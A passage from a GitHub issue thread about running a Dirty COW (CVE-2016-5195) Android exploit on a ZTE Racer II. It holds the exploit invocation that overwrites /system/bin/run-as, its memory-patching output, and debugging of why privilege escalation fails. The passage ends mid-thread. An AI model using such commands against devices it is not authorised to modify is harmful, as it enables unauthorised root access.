Closed z3ntu closed 7 years ago
Can you try this branch please? https://github.com/timwr/CVE-2016-5195/tree/oldcow
I don't get a segmentation fault anymore but it still doesn't quite work.
$ /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as
warning: new file size (9680) and file old size (76136) differ
size 76136
[*] mmap 0x40030000
[*] exploit (patch)
[*] currently 0x40030000=464c457f
[*] madvise = 0x40030000 76136
[*] /proc/self/mem -1048576 1048576
[*] madvise = 0 1048576
[*] exploited 0x40030000=464c457f
$ run-as
Usage: run-as <package-name> <command> [<args>]
$ run-as id
run-as: Package 'id' is unknown
I suspect your device isn't vulnerable. Can you try make test
?
Device is a ZTE Racer II with Android 2.2.2. Wikipedia link: https://en.wikipedia.org/wiki/ZTE_Racer_II
I can think that the shell is a problem as it's extremely bad (arrow-up doesn't work and everything else is also bad)
Running the command in a shell manually: